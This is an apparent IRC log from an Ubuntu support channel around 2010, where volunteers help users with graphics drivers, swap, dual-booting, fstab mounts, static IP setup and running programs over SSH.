Probably DBAN didn't work because it's a laptop and might have a strange hardware setup, I'm not sure. [16:38] Pici, Only thing in there is a few lines about a CUPS server [16:38] why isnt tor in ubuntu? [16:38] queso alright good luck [16:38] If my ubuntu live disks often gives me a "I/O error: Error reading bot disk" prompt when putting in the ubuntu cd with both live and installer, I need to reburn it correct? [16:38] induz, if its a plugin/extension, you probably have to add it from inside an open office program or install it to a plugins folder or something [16:38] smallfoot need help setting up tor?

[17:18] sebastiaan, make sure that your graphics settings do not exceed the capabilities of your TV. e.g. You may be running at a resolution that is "too big" for your screen to display. First thing is to find out your TVs capabilities. [17:18] I reinstall the drivers.. but nothing changed :/ [17:19] *reinstalled [17:19] sebastiaan, next thing is to check the settings in ubuntu and compare [17:19] aethelrick: I know that the resolution of my tv is 1366x768 [17:19] Where can I find a PSP emulator for Ubuntu 9.10? [17:19] Swot, what driver? [17:19] Guest15230, ah.. use the exec like sam-_- said [17:19] sebastiaan, also check refresh rate [17:20] Guest15230, also xargs is an option. you can see examples in the man page of find [17:20] so i have quite slow internet connection, but i need to make dist upgrade, since i have a lot of packages installed my dist upgrade downloads size is >4Gb so that would take me like 10 hrs to download and than probably about 2 hrs to install, so i was thinking maybe there is a way to get list of all needed package and dowlnoad at least big chun of them on other comp (also running ubuntu) so that i could bring them home and update everything, any ideas? [17:20] i_is_broke: hahahaha, great nick [17:20] i_is_broke, On graphic.. i have Geforce 250 gts [17:20] aethelrick: and the xorg.conf tells nothing about the resolution in the screen section [17:20] do any of the free virtual machines run Winblows 7?

[17:22] mr-rich: windows 7 is an important part of business operations today, powering nearly everything from business phones to desktops to data centers. Why are you pouring the hate on it? [17:22] aethelrick: ok [17:22] mr-rich: just playing devil's advocate; I hate Windows, personally. [17:22] morphles: just do it before you go to sleep :) I don't know how you could do it with update-manager. apt-get has --print-uri so maybe you could *start* an upgrade the old debian way but have apt-get only print the uri's, save that, wget them somewhere, then drop then in /var/cache/apt/archives/, and finally do an upgrade the normal way (using update-manager). Does that make sense? [17:22] sam-_-: Thanks sam. [17:22] i_is_broke, Me not :/ I download old driver from some page [17:22] Swot, alt+F2 , gksudo gedit /etc/apt/sources.list , remove the lines with repositories : deb http://ppa.launchpad.net/nvidia-vdpau/ppa/ubuntu maverick main. there will be 2 of them , then save the file and in the terminal sudo apt-get update, Then in hardware find the recommended driver and install [17:22] i know one can export list of all installed packages [17:22] aethelrick: tv is HD ready [17:23] but maybe there si a way to export list of all updatable packages [17:23] sebastiaan, it's been literally years since I've had to resort to manually editing xorg.conf but I use NVidia graphics cards.

[17:58] Swot, none of the video drivers will work with out rebooting. [17:58] afroman, yes. that should work. but win7 may need 2 prim [17:58] can you pastebin your xorg.conf just do a find file [17:58] afroman, of course. [17:58] i_is_broke: how do I get to the grub? my timeout is `0' [17:59] i_is_broke, I rebooted ;) [17:59] afroman, boot up vista. use the partitioning tool [17:59] afroman, right click on the drive and see if you can convert to logical [17:59] what about ubuntu on logical, is it possible?

[18:05] afroman: read up on it.: swap is used to move unused programs and data out of main memory to make your system faster. It can also be used as extra memory if you don't have enough. See https://help.ubuntu.com/community/SwapFaq for more info [18:05] afroman, how much ram have you got? [18:05] llutz: or was it. let me check.

[18:06] afroman, i have 2gb and never needed a swap but it depends on what you are doing with your laptop [18:06] hi [18:06] afroman, then you probably won't need swap [18:06] So I have the downloaded packages in apt's archives still i get the regex error. What can cause this? [18:06] afroman, btw. you can create a swapfile afterwards if you need it [18:06] afroman: swap is needed if you plan on suspending/hibernating [18:06] !swap [18:06] swap is used to move unused programs and data out of main memory to make your system faster. It can also be used as extra memory if you don't have enough. See https://help.ubuntu.com/community/SwapFaq for more info [18:06] sam-_-: not much, the usual. internet surfing, watching movies, download...

[18:07] afroman, i do the same things with flashplayer and all that stuff. 2g no swap. never had problems [18:08] bastidrazor: sam-_-: although I sometimes do put the pc in suspend === Glavata_ is now known as Glavata === Glavata is now known as Glavata_ [18:08] i_is_broke, I tried this, but i try this again, wait about 1-2 minutes [18:08] Hello i have this error on make http://pastebin.com/XQphmKyz what is it ? [18:08] afroman, doesn't matter [18:08] afroman: you will need swap if you suspend [18:08] afroman, or are you talking about hibernation? [18:08] you have no device section [18:08] bastidrazor, no you don't [18:08] I used a program called MD5 to check the checksum and it read it to be alright. Althugh I called md5 from a live install and it said that it was wrong. If the checksums wrong and I still get an I/O errr when boting up, how is this pssible? [18:08] sam-_-: I never know the difference :P === [0_0_0] is now known as UggBoots [18:09] llutz: Or maybe I am just stupid. Should I try to install it using apt or dpkg? [18:09] nm [18:09] have a question - trying to set up ubuntu 10.10 with a static ip address of 192.168.2.50, gateway is .2.2 at that address, have it set up in interfaces file as iface eth0 inet static, address as stated, netmask 255.255.255.0 and gateway as stated, I restarted networking and it won't assign that address to that pc, what am I missing? [18:09] Guest15230: install a bunch of .deb-files? use dpkg [18:09] afroman, in suspend the comp. will still use power. not in hibernation. [18:09] sam-_-: and by the way I should have mentioned that I don't have windows installed, I'm planing 2 thou [18:09] Anyone have tips for dual-booting WIndows XP professional and Ubuntu 10.*? [18:09] sam-_-: suspend will suspend to ram.. hibernate will write to disk and shutdown [18:09] llutz: thanks. [18:10] doesn't ubuntu use the entire /swap partition for swap? [18:10] sam-_-: both use swap [18:10] KGF2009, easier to install windows first. [18:10] bastidrazor, that's the reason why you don't need swap for suspend [18:10] my screen section is much different then yours you could try and copy it and alter it but you will risk messing up x and having to do everything from command line [18:10] or as much as is needed upto the total size of /swap? [18:10] Hello i have this error on make http://pastebin.com/XQphmKyz what is it ? [18:10] do you want me to paste bin it [18:10] bastidrazor, trust me :-) [18:11] i_is_broke, should I re-install windows if it's already taking up the whole drive or just resize the partition? Which is quicker? [18:11] sam-_-: now that i reread my statement.. you're right. [18:11] back up windows and resize [18:11] KGF2009, resize, just back everything up first. [18:11] bastidrazor, i know :-) [18:11] bastidrazor: i am reading a tutorial where ICS can be done without two NIC, but i am not quite understanding... is this feasible really, the tutorial is at: https://help.ubuntu.com/community/Internet/ConnectionSharing , have a look at 'Wireless Ad-Hoc connection sharing scenario" section, i have my two laptops share with a wireless network, one(the one am using) has a broadbad IC, is it possible to provide the IC to the other laptop? [18:11] bastidrazor: sam-_-: either way, we come to the same question, can I install ubuntu 10.10 on logical? [18:11] i_is_broke, thanks. [18:12] swot you there [18:12] KGF2009, yes.... I have run multiple linux flavors with xp.... never had a problem... install windows, create new partition during installation and then install grub, [18:12] nmvictor: yes youc an use wireless and the wired NIC to share internet. [18:12] afroman, as i told you before. yes you can install ubuntu 10.10 on a logical [18:13] I need some ideas, I have a drive in my fstab that's not mounting at boot (I get a message that it can't find the drive at boot). I'm using the uuid in fstab... Is there something to maybe make it wait longer for the drive to show... or? [18:13] afroman, you will get some complaints about booting a logical drive but yes it will work, i use it that way right now. [18:13] mawst: what kind of drive is it? and are you sur eyou have the right uuid [18:14] Here's my fstab: http://pastebin.com/WHZBKtYY [18:14] bastidrazor: sorry, you missed something, its not a wired NIC, its just a mobile broadband internet connection [18:14] hey, i was wondering if someone could helpw ith something [18:14] sam-_-: ok then. I'm going 2 do it this way. 2 logical, 1 for ubuntu and 1 for swap, then 1 prim for win 7 [18:14] I'm pretty sure, histo. I used the blkid -o value -s UUID to get the UUID. [18:14] It's a 1tb ntfs drive [18:14] mawst: just sudo blkid to get the value [18:14] I am not able to install PIDGIN [18:14] i_is_broke: complaints from what? [18:15] afroman, you can try. but win 7 may use 2 prim. [18:15] jbsoum, what is up? [18:15] mawst: and does /media/terabit directory exist? [18:15] i am trying to thin client an old computer for my daughter if anyone has any experience with dhcp3 please help [18:15] Yep./ [18:15] sam-_-: why 2 prim? [18:15] IT does [18:15] afroman, i just said, about it not liking booting from a logical drive but it wont mater. [18:15] I have the right uuid too [18:15] afroman, one little one for recovery. but i'm not sure [18:15] afroman, also you may be able to delete the small one [18:16] afroman, but again not sure [18:16] why would my hash be fine and still get a "I/O error", "error reading bood CD" [18:16] sam-_-: I'll give it a try and I'll let U know [18:16] mawst: mawst what if you issue a sudo mount -a after the system is up does it mount the drive? [18:16] histo, no. [18:16] afroman, do a backup before :-) [18:16] mawst: then the problem is with your line in fstab [18:17] mawst: probably the ntfs-3g [18:17] histo, whenI mount -a I get Failed to mount '/dev/sdb1': No such file or directory [18:17] if my disc worked at one point it seems weird it does not now [18:17] sam-_-: but can I change the back up partition into logical without formating the partition?

Running a Dell XPS/Dimension 630i. It came with "SATA 2 RAID 0 With Dual 500GB Hard Drives." I have installed a new, third non-raided drive and installed Ubuntu on it.

When I get to the boot menu where I can select an OS, if I select windows I get an error: "No such drive, no such disk." Also, strangely in the first place, in [18:35] order to even get to the bootloader menu I have had to disable ALL ports under the RAID config. Unless I do this, I will just get to a never-ending blinking cursor. I have tried every conceivable CMOS config and nothing else works. Tried setting port 3 (the new HD w/ Ubuntu) to first hard disk boot priority. Tried disabling all other ports and enabling the Ubuntu HD port and vice versa. I have some pictures of boot up: first on [18:35] e is strange error i get after messing with CMOS to finally get ubuntu install to work. http://imgur.com/5sqJa then boot menu: http://imgur.com/TWtLq then error: http://imgur.com/TJ1mS.

[19:08] ignitedcoding: no idea. we don't poll [19:08] ignitedcoding: lol... [19:08] maco: why a language policy then? A simple curse here and there when I'm frustrated isn't ok? [19:08] cjdevlin, it's basicly a "jail id" attribute in the process struct, basicly, which tell the kernel to limit it's resources [19:08] ignitedcoding: because it distracts the channel. [19:09] ignitedcoding: because we have a code of conduct and guidelines requiring respectfulness at all times. and besides, the *average* age wouldnt matter then, it'd be the minimum. and ive seen 6 year olds on irc === LouisJB_ is now known as LouisJB [19:09] ignitedcoding, it's one of the things that's different about ubuntu :-) [19:09] ignitedcoding: if youd like to discuss policy, you can do so in #ubuntu-ops. it's offtopic here [19:09] * ignitedcoding would love to see these guys at an auto shop listening to mechanics [19:09] cjdevlin: well, sort of. they all run the same kernel, and most of the filesystem is linked in (so you don't need a whole OS worth of disc for each jail) so it's a bit less resource hungry than full-on vms. [19:09] ok.... [19:09] i'm dropping it [19:09] * KM0201 works in a prison and has heard every bit of foul language known to man, but i still don't like to hear it at home [19:10] sam-_-: ##php has the same policy [19:10] KM0201, so true [19:10] !ops [19:10] Help!

[19:13] hello, does anyone know how to set up Leopard to run on NFS, so I can network with Ubuntu? [19:13] well [19:13] yaar: http://manpages.ubuntu.com/manpages/lucid/man2/jail.2freebsd.html is this what you are talking about? [19:13] i want to send files [19:13] to a friend [19:13] who use windows [19:13] and i used another === help is now known as Voluu [19:14] i don't know the name [19:14] but its not pidgin [19:14] How can I use Kismet in Ubuntu? [19:14] i want to send more files once [19:14] not one of a time [19:14] c0mrade_-, yes [19:14] what program shoud i use? [19:14] @find suse [19:15] kozminel: well.. it depends.. file transfer works pretty well w/ pidgin and yahoo users.. but id on't know about sending multiple files at once [19:15] Is there any ways of giving a host-machine more VRAM than 128MB? [19:15] Can I download it instantly from the console window? [19:15] Any commands. [19:15] ? [19:15] yaaar: http://manpages.ubuntu.com/manpages/lucid/man2/jail.2freebsd.html - is this what you are looking for? [19:15] this was the probem .. multiple file transfer [19:15] anyone? [19:15] c0mrade_-: download what? [19:16] mr2k: you mean the guest machine? and no there isn't [19:16] Download Kismet. [19:16] A network analyser. [19:16] histo: Yes, sorry, the guest machine. Oh well. [19:16] kozminel: ho many files aer we talking? [19:16] And the aircrack-ng suit. [19:16] cjdevlin: that's pretty interesting....but i'm not sure i would know the first thing to do with a C library... [19:16] c0mrade_-, sudo apt-get install kismet [19:16] 5-10? [19:16] 2-5? [19:16] depends [19:16] Okay sam I'll try that. [19:17] yaaar, cjdevlin: that is the one, but I don't think ubuntu has support for it (it's from the freebsd-manpages package) [19:17] kozminel: if it were me.. i'd probably use simplehttp.. but that will considerably slow down your connection while he downloads them. [19:17] sam-_- it's giving me. E: Invalind Operation kismet. [19:17] any plugin for pidgin to use multiple file transfer? [19:17] When I typed. [19:18] sudo apt-get kismet. [19:18] kozminel: i don't think so.. but there could be i guess [19:18] c0mrade_-, you forgot install then [19:18] Yes I did. [19:18] hehe. [19:18] mr2k: mabye with VBoxManage [19:18] what are the instant messaging program in ubuntu top 5 [19:18] yaaar: it *seems* like the tools you need are available on linux?

If you insist on getting people's opinions, ask BestBot in #ubuntu-bots. [19:18] yaaar: on ubuntu* : http://packages.ubuntu.com/search?keywords=jail&suite=default§ion=all&arch=any&searchon=names [19:19] well i didnt think at that [19:19] If I had an iso file I burned to a disk and it burned correctly, does this mean that the MD5 hash i got for the iso, when I use a program like hashtab, will be the same as the hash for the burned cd when I call md5 command from the terminal in ubuntu forthe live cd ? [19:19] c0mrade_-, close synaptic or any other package manager [19:19] i wasn't making a poll [19:19] anyone know why a partition isn't showing up when i mount it [19:19] a [19:19] kozminel: you asked what the top 5 messengers was.. thats a poll [19:20] What is better ? 64bit ubuntu vs 32 bit? [19:20] lol [19:20] :) i forgoted the name of the one i used [19:20] I have 4GB ram.. [19:20] so that is what i wanted to find out [19:20] kozminel: then google will help you find it. [19:20] sorry for my english [19:20] kozminel: pidgin, empathy and kopete are the most common linux IM programs [19:21] sam-_- well first of all I am using a virtual maching witht he appropriate virtual tools and I installed Ubuntu 9.4 when I did a window poped up to download the latest updates so I pressed 'OK' now 157 files are downloading one after the other. lol 2 hours left. [19:21] cjdevlin, a chroot-jail works different by using chroot() system call [19:21] :) [19:21] kozminel: but i would just zip them and send them that way [19:21] kopete i used [19:21] Then I opened a terminal and wanted to download Kismet along with them. [19:21] And I did what you said. [19:21] i will do that [19:21] in pidgin i get an error [19:21] transfer faild [19:21] sudo apt-get install kismet and got the error I mentioned earlier. === ahmed is now known as Guest37179 [19:21] or something like that [19:22] fails [19:22] c0mrade_-, you will have to wait for the update to finish [19:22] Okay. [19:22] kozminel: then you two are doing something wrong.. i transfer between yahoo members all the time [19:22] should the hash on the burned cd and the iso you burned be the same? [19:23] posible [19:23] likely [19:23] anyone know why a partition isn't showing up when i mount it [19:24] another think..my computer has 1.7 mghz procesor and 1 gb of RAM dd1 , how can i impove my aplications speed over ubuntu [19:24] ? [19:24] kozminel: that can get very involved, you're bette off googling on how to tweak ubuntu [19:24] Hello! Do you know some good VoIP software working well with pulseaudio?

But it doesn't connect to pulseaudio directly but via ALSA.

[19:40] has anyone else had these perl locale issues, 'cannot set'? [19:40] spencer: wtf should i do man [19:40] thinkfire: well which interface are you using for network? ifconfig should show one with an ip [19:40] nirazio: maybe you did something wrong in the command syntax; try galternatives, much easier [19:41] ovrflw0x, sorry but general troubleshooting is as far as I go. Can you boot up into the OS correctly, even as far as login screen? [19:41] histo, galternatives? [19:41] instead of ushare? [19:41] spencer: No! [19:41] thinkfire: there are plenty of alternatives but most likely you just need to tell the config what interface to use [19:41] spencer: it says "switchable" graphics found! choose one as default [19:41] virbr0 has ip 192.168.122.1 [19:41] is it possible to create a peer-to-peer wifi hotspot in Ubuntu and pass all connections from it through a SOCKS proxy? [19:41] thinkfire: sudo dpkg-reconfigure ushare [19:41] ovrflw0x please calm down, I'm trying to help. Do you require both graphics cards, or can you disable one in BIOS? [19:41] Can anyone get my mouse working? [19:42] thinkfire: and select virbr0 as the adapter [19:42] spencer: no BIOS has no such option [19:42] eth0 has ip 192.168.1.110 which I assume is the right interface since thats the IP that my router is assigning to it based on MAC [19:42] Some_Person: Tried a reboot? :P [19:42] mr2k: That was the first thing I tried [19:42] hello i was following a tutorial but i am stuck on the step where it say "open the run box and type" what does mean open the run box? thanks [19:42] Some_Person: Desktop or laptop? [19:42] ovrflw0x: Does your notebook have on of those discreet graphic cards with an intel chip also? [19:42] I actually thought the system had crashed while booting, but it obviously didn't [19:42] ovrflw0x can you boot into BIOS right now? I might be able to guide you through disabling it, because it does in fact have that option [19:42] doriangrey: alt + f2 [19:43] mr2k: laptop, but it's always worked out of the box before (even the live CD works) [19:43] spencer: one is discrete other is integrated [19:43] spencer: this is ENVY 14 HP notebook it has no such option!!! [19:43] :) [19:43] Hi. I cant start the gnome-keyring-daemon: http://pastebin.com/CAz6f1QD . It is in the GNOME startup program list. How can I fix this? see also http://paste.ubuntu.com/546071/ [19:43] histo, it worked [19:43] dcite ovrflw0x it could be an option to disable one, your thoughts dcite? [19:43] VCoolio: I have already checked using galternatives..google-chrome is set there [19:43] thinkfire: cool [19:43] histo, is virbr0 some virtual adapter? [19:43] Some_Person: There usually is a combination of fn + which turns the touchpad on and off, you haven't pressed these without noticing? [19:44] spencer: dcite? [19:44] mr2k: external USB mouse also isn't working [19:44] thinkfire: don't know. Depends on what cards you ahve etc... [19:44] erUSUL, thanks ;) [19:44] mr2k: and this laptop doesn't have such a keycombo [19:44] spencer ovrflw0x : I wonder if this is one of those new notebooks with on-demand switching of graphics. [19:44] Dcite: yes [19:44] thinkfire: lspci would show you some info on your hardware [19:44] oh wait, it said that interface is down too [19:44] Dcite: could be sounds like it to me [19:44] Some_Person: Ah! what happens when you run lspci? [19:44] dcite ovrflw0x if that's the case, would disabling one help? [19:44] ovrflw0x: what kind of notebook is it? [19:44] Some_Person: lsusb [19:44] histo: envy 14 hp [19:44] nirazio: then I don't know, alternatives is the tool for xdg-open; if it doesn't listen, try gnome-open and set chrome in preferred applications [19:44] spencer: he can't it's new hardware [19:44] Some_Person: Is the external mouse listed there? [19:45] ovrflw0x: let me check on something hold up a min [19:45] histo: ok!

But either way it's wroking now [19:46] ovrflw0x there's an advanced menu to disable onboard components, again unless it's leaps and bounds from mine [19:46] Some_Person: Does it work if you run any of the other choices in grub?

I'm used to having my shiny fresh lucid boot disk, sent by someone in sweden lol [19:50] ovrflw0x: maybe post on the forums. Perhaps someone has the same hardware [19:50] spencer: It does, but I had issues burning the CD initially [19:50] ovrflw0x: but integrated graphics should work out of the box [19:50] okay, recently built a new computer w/ v10.10 64 - wanted to take advantage of 12GB RAM. that said i also changed from nvidia to ATI; thus far i have had a few hiccups (lock ups; frozen apps)..am wondering if this is related to the video or the 64bit version. anyone have any insight? [19:51] histo: yes until i installed fglrx driver [19:51] spencer: I don't really see why this matters. unetbootin shouldn't cause any problems [19:51] hi guys [19:51] ovrflw0x: to switch you need to restart X I believe [19:51] hi [19:51] histo: yes [19:51] Some_Person I used a home-burnt disc once and had a few problems, nothing as crippling as yours, but it -might- be a possible COD [19:51] ovrflw0x: /sys/kernel/debeug/vgaswitcheroo/switch in a shell [19:51] Some_Person do the arrow keys work?

I mean, they all come from the same repos so why would the time be any different? [21:09] ikonia, ? sory i dont understand ? [21:09] vipul: you can't use skype over ssh [21:09] ciao a tutti [21:09] jbsoum: grub should auto detect windows for you and add the line, it sometimes fails to do this [21:09] !it | lollo [21:09] lollo: Vai su #ubuntu-it se vuoi parlare in italiano, in questo canale usiamo solo l'inglese.

[21:11] ok [21:11] Any idea how to troubleshoot or diagnose a weird WLAN problem? I'm having around 20% packet loss on two laptops (T and E). T's problem appeared after upgrade to 10.10, and it still works when running older kernel. E is new, and running 10.10 too, but it dualboots Win7, where WLAN works flawless.

[21:13] vipul, what are you expecting to be the response when you run that command? [21:13] coz_: I use gentoo so I can open that, can you just give me a heads up as to what info it has in there (besides the actual repos) [21:13] *can't [21:13] ikonia: Really? I've normally been able to open programs using SSH by setting $DISPLAY... just not to forward them locally (for the reasons you suggested) [21:13] thansen, its just the repo addresses in that file [21:13] thansen: few subtle differences (kernel for example) [21:14] heyy i wants to use tsocks to run wine Poker in ubuntu,i think is a problem on the wine when i run:tsocks wine PokerStars.exe,console says:fixme:winsock:NtStatusToWSAError Status code 7bc473ae converted to DOS error code 7bc473ae [21:14] Darael: skype requires local hardware, eg: sound card [21:14] is it just that mulitverse/universe/whatever aren't maintained as long or something [21:14] globus, you might want to try #winehq [21:14] thansen: main resource is the support term, 5 years on server, 3 on desktop [21:14] Ubuntu 9.10 deb http://ppa.launchpad.net/pidgin-developers/ppa/ubuntu karmic main [21:14] ikonia: Exactly. So if you open it on the remote display, it should be fine, if unusable because you're not at the remote machine. [21:14] StrangeCharm, i thought there must be some way to login my remote machine via ssh and login to my skype [21:14] is this good for 10.10 ? [21:15] Darael: how is the sound from the remote/local sound card going to get to your local machine [21:15] vipul: In that case, ikonia is right. You can't do that. [21:15] kozminel: no, go to pidgin.im [21:15] ikonia: but they don't take the others offline after that right..meaning they're still available until main is gone as well [21:15] Hey I'm using lucid and it looks like Nautilus isn't automounting usb devices?

[21:15] ikonia: No, that's what I mean. Opening it with X11 forwarding would be pointless, but you could open it on the remote display from SSH (though why you'd want to is another matter) [21:15] thansen: the others are taken offline when they hit EOL [21:15] kozminel: Try Applications -> Unbuntu software center update [21:16] I have a question about btrfs. I'm putting /boot on a small thumb drive, but want the rest of the filesystem in a btrfs raid. I've been able to put root into a btrfs system, but not into a raid, since you can't change from non-raid to raid. Is there a way to do this? [21:16] Darael: right so "you can't do that" rather than here is a pointless solution that offers no value but makes you do a lot of work and gives you no value, is the answer [21:16] i want to send file to an yahoo account [21:16] Darael: X11 forwarding would be usable if the main goal is to use only the chat, not voice calling ;-) [21:16] StrangeCharm, ? i have given you the answer [21:16] and ad an APT line [21:16] ikonia: True. I wasn't quite aware of what the request was, should have read the log or something. [21:17] Myrtti: Good point! [21:17] he still doesn't have a local X server on his windows machine [21:17] so it STILL won't work [21:17] vipul, no, you haven't. do you expect the skype gui to appear on the machine running putty? do you expect it to appear on the machine you're sshing to? do you expect to operate a text version of skype in the command line? [21:17] hi, I am trying to do this, `ssh 192.168.1.3 tmux attach` but am being told not a terminal [21:18] ikonia: ok, I'll dig around a bit more...thanks for the info [21:18] StrangeCharm, no i don't mean that [21:18] Any idea how to troubleshoot or diagnose a weird WLAN problem? I'm having around 20% packet loss on two laptops (T and E). T's problem appeared after upgrade to 10.10. T's WLAN still works when booting with older kernel. E is new so running 10.10. E also dualboots Win7, where WLAN works flawless. There is also a 3rd laptop, A, which runs 10.04 and wlan works. The problem comes and goes, sometimes can't even connect to the WLAN. Signal strength is good. Changing cha [21:18] Greetings! [21:18] johntramp: commands run from ssh like that get run in a noninteractive shell. Do the ssh first, then run the command, and it should work. [21:18] vipul, none of those things are the thing that you expect to happen? what is the thing that you expect to happen? [21:18] Darael: is it not possible for it to open a terminal session and exec a command? [21:19] vipul: Your options for using linux X-applications locally on your windows machine are Cygwin(I've never done this but I know other people have) and NoMx. NoMx is amazing and wonderful. [21:19] johntramp: Not if the command needs an interactive terminal to work. [21:19] Darael: ok, thanks [21:19] !nomx [21:19] johntramp: By the attach part I assume the one you're trying to run does. [21:19] !nomachine [21:19] Hmm. :( [21:20] Darael: i dont understand, it works fine if i ssh then tmux attach [21:20] does dpkg -l show me stuff available in the repositories also? [21:20] johntramp: Exactly. tmux requires an interactive shell. There's probably an option to ssh that will let you do what you're after, but I'm not sure what it is. [21:21] In my quest to get rid of all my ruby/rails stuff I did a dpkg -l | grep ruby and came up with this, and an error when I tried to apt-get remove rubygems1.8 http://pastie.org/1396159 [21:21] Praxi: no, you need to use the package manager (synaptic for example) to search [21:22] ikonia: this is on server, synaptic is a gui isn't it? [21:22] hey guys, i'm looking into openvz on 10.04, and finding that things are a bit tricky. reading this: https://bugs.launchpad.net/vzorchestra/+bug/545850 and the last suggestion is to add the debian sid repo and install the kernel from there. I suppose I don't have a huge problem with that...but won't enabling that repo cause problems elsewhere? i assume that it contains tons of packages that...

When I do a apt-get remove rubygems1.8 it tells me its not installed. What am I misunderstanding?

[21:38] itaylor57: well, I don't like it [21:38] frxstrem: no, it's a webmail service, it's not a client, its web page [21:38] frxstrem: I'm sure that there are extensions to your browser to make the mailto links to go to gmail, I know Chrome has one [21:39] Myrtti: I am not only talking about browsers, but system wide, like the "Preferred application" settings does [21:39] how come nothing can find my webcam except cheese webcam booth?

As long as you're in Lucid or Maverick, at least. [21:42] itaylor57: lol... o/ [21:42] tunist, so i lied to you before about not editing files :-) [21:42] sam-_-, sry was afk :) I tried the usb modules in grub as per Jordan_U's instructions, and they do not work with my usb stick. I'm not surprised, since only those without bioses capable of booting to usb need them, and therefore they probably get very little attention. [21:43] I'm still running Ubuntu 9.10. When I right-click to properties of my disk, it says "filesystem type: ext3/4". Why doesn't it detect it properly? It's ext2? How do I know if it's really mounted/written as ext2? [21:43] i was having port forward troubles in WUBI ubuntu even though the port is open on the router so I rebooted but loaded up windows so as I check the port on windows, I see that I have a problem in windows with the port Could a problem in Windows affect WUBI?

[21:43] Darael: it is indeed what I'm looking for, thanks! :D [21:43] phillyj_: it's most likley your router if it doesn't work in windows and ubuntu [21:44] sam-_-, yes, it's an old (00-02) laptop that wouldn't be used for anything else (128mb ram, the works) [21:44] tunist, yes [21:44] @sam: ok thanks a lot.. i'll look now === phillyj_ is now known as phillyj [21:44] sam-_-, all I want is for the digital picture frame I'm making to be quiet :) so if I could get ubuntu to stop reading from the hard drive so it can spin down (hdparm -S), that would be fine also [21:44] W3ird_N3rd: If you run mount with no options, it'll show you all the mounts active, which will include the type it's mounted as. [21:45] bencahill get an ssd then :-) [21:45] W3ird_N3rd: Oh, whoops, ikonia was much faster. [21:45] yeah, had already found it :) [21:45] thx anyway :) [21:45] bencahill you can tune ubuntu though to use the disk less. [21:45] sam-_-, well I might as well buy a digital picture frame, I don't have any ssd's lying around :) [21:46] btw, perhaps you know if Ubuntu 9.10 still had ext4 corruption? [21:46] sam-_-, how? :) :) [21:46] bencahill not sure if you will be happy with that though [21:46] Because I'm noticing corruption [21:46] sam-_-, oh :( [21:46] bencahill disable all the unnecessary applications and set a few options [21:46] bencahill probably best if you google it [21:48] sam-_-, well it's a cli (obviously), and I've only installed what I need, which is fbi,wireless drivers, and wpa_supplicant, along with a few other, like samba to share the pics folder [21:48] tunist, btw you need to write the options in the line that starts with append [21:48] sam-_-, I did set the disk for writeback (before) and it didn't really help at all, so I would guess that it's reading...

[21:49] nmvictor: Not every nick in here /is/ a human being, actually :P. Theres' a couple of bots. [21:49] nmvictor, hi there :) do you have a question regarding ubuntu? [21:51] @sam: the isolinux.cfg file only has one line in it [21:51] tunist, which one? [21:52] tunist: Remastering Ubuntu ?

[21:53] Schumann: then we may have a lazy answer for it :) [21:53] tunist, no i don't think so. why?

If it's good, that means my ext4 loses data. if it's not good, I have to return my hard drive [21:55] tunist, start with config then menu.cfgdefault [21:55] Schumann, if you are using grub2 then after you remove windows partition, just run "sudo update-grub2" and it will magically remove Windows from the boot menu.

[22:20] Zykotic: yeah im starting to get that [22:20] s3rris: you need to download the normal ISO... not the IMG.. then use a tool to extract it on the thumb drive (unetbootin is a common one) [22:20] !tab > XiaolinDraconis [22:20] XiaolinDraconis, please see my private message [22:20] KM201: I have the iso here.

When dual booting, it worked fine. But when I wipe out that newly installed ver of ubuntu, i get the same problem.

[22:23] spencer: I don't know if it was 10.04 or 10.10, but I remember them talking about the bubble notifier a while back and how people were excited about it. [22:23] XiaolinDraconis, i've only ever done the codename tweak, never full on custom. [22:23] I'll give it a shot.

[22:32] !staticip [22:32] spencer, i gave it about 20 minutes [22:32] spencer, and its not a slow computer [22:32] XiaolinDraconis, not sure if it's of interest but I _finally_ got high res Plymouth (with my Nvidia proprietary driver) using the script webupd8 published a while ago for 10.04 & 10.10 - http://www.webupd8.org/2010/10/script-to-fix-ubuntu-plymouth-for.html [22:33] bilz ooh. Have you tried re-doing the stick? [22:33] currently downloading ubuntu 10.10 to see if that works, but id really prefer to stick with 10.04 since its been around longer and im no ubuntu to pro so support is welcome :) [22:33] spencer, yes. ive done it using usb-creator in ubuntu and the unet thingy in xp, both gave some problem [22:33] I need to set this to a static ip, I'm not able to with maverick's gui [22:33] ZykoticK9, only if i can find out how to get my gfx card installed on my new small form factor pc [22:34] bilz have you tried unetbootin? [22:34] spencer, yes, thats the program i said. unet thingy :) [22:34] XiaolinDraconis, well if you are using open drivers then you probably have full resolution plymouth anyway ;) [22:34] i do but i want to change the plymouth theme [22:34] spencer thanks for the Xchat recommendation.. much more to my liking. [22:35] @sam: i inserted debug and acpi=off.. both after the -- and before ... (on different attempts to boot).. neither had any obvious effect.. ACPI is still listed in the initiation text - ACPI: Core revision 20100428 [22:35] put something fancy on it [22:35] bilz Oh right I forgot, the IUPAC just said a few weeks ago that "thingy" was a technical term now :) (just giving you a hard time) hmm... have you tried a liveCD? [22:35] jimcooncat_: It's normally possible. Right-click the network manager applet, edit the connection, ipv4 settings tab, change the dropdown to manual, off you go.

[22:38] cdo 123 [22:39] Milp_main: put sudo before that command [22:39] Darael, but it's enabled if I leave out the gateway address [22:39] jimcooncat_: I've not seen that happen before. Not sure how to deal with it. However. It would perhaps be better to ask the channel what to do about that than to try to force it from the command line. Especially if it's a wireless connection. [22:39] jimcooncat_: That's even stranger. Perhaps your gateway address is of the wrong format? [22:40] tunist, oh that's disappointing. maybe that's not the file that gets used by isolinux [22:40] is there any way to explore the host of an "ad-hoc" wifi connection? [22:40] after upgrading to 2.6.35-24, grub2 kernel panics - unable to sync VFS. update-grub appeared to work, i can boot 2.6.35.23, any advise? [22:40] Darael, you're a genius. Had an extra dot in it! [22:40] thanks itaylor57 [22:40] i cant mount my hard drive [22:40] jimcooncat_: I'm no genius. Glad I inspired you to see what was wrong, though! [22:41] jezek can you give us more detail? [22:41] Milp_main: np hope it helps, perl is a wonderful thing [22:41] what should i do [22:41] it just stalls [22:41] i click on the drive [22:41] nothing happens [22:41] jezek it could be a physical problem, been playing cricket or baseball with your HDD? [22:41] Does anyone know how to make a .dmg a .img? [22:41] tunist, if this option does nothing boot_delay=9999 then it's not working [22:41] Jezek: What filesystem is on the drive? And I'm assuming that it's not the same hard drive you've been booting from. [22:41] s3rris: sorry, i had to step away, yes.. if you use one of those tools to extract the ISO onto a thumb drive and make it bootable, it should work [22:42] Jemt, im at the part i believe you intended me to read [22:42] spencer: As funny as that is, I have to be a pain here and say "not helpful (probably)" [22:42] sam: ok, i'll try that one [22:42] its a ubuntu hard drive, so whatever they 